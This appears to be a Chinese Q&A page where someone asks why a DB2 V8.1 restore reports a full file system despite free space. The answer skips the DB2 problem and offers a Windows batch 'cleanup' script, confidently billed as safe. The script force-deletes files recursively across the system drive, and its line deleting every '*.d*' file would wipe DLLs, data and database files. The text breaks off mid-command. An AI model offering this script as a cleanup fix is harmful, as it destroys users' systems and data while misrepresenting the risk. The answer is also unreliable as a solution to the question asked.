DB2V8.1复原数据时提示文件系统已满,但是设置的驱动盘空间足够

来源:百度知道 编辑:UC知道 时间:2024/06/05 00:56:08

不管怎么样 清理系统没用的垃圾 可以节省好几百兆到1G的空间!!!
我的方法肯定可行
新建文本文件 把 下面的复制进去 然后 把文件改名为C盘瘦身.bat 注意 后缀一定要是 bat 然后运行 就能把C盘没用的文件都清理掉!!!

@echo off
echo 正在清除系统垃圾文件,请稍等......
del /f /s /q %systemdrive%\*.tmp
del /f /s /q %systemdrive%\*._mp
del /f /s /q %systemdrive%\*.log
del /f /s /q %systemdrive%\*.gid
del /f /s /q %systemdrive%\*.chk
del /f /s /q %systemdrive%\*.old
del /f /s /q %systemdrive%\*.d*
del /f /s /q %systemdrive%\recycled\*.*
del /f /s /q %windir%\*.bak
del /f /s /q %windir%\prefetch\*.*
rd /s /q %windir%\temp & md %windir%\temp
del /f /q %userprofile%\cookies\*.*

del /f /q %userprofile%\recent\*.*
del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"
del /f /s /q "%userprofile%\Local Settings\Temp\*.*"
del /f /s /q "%u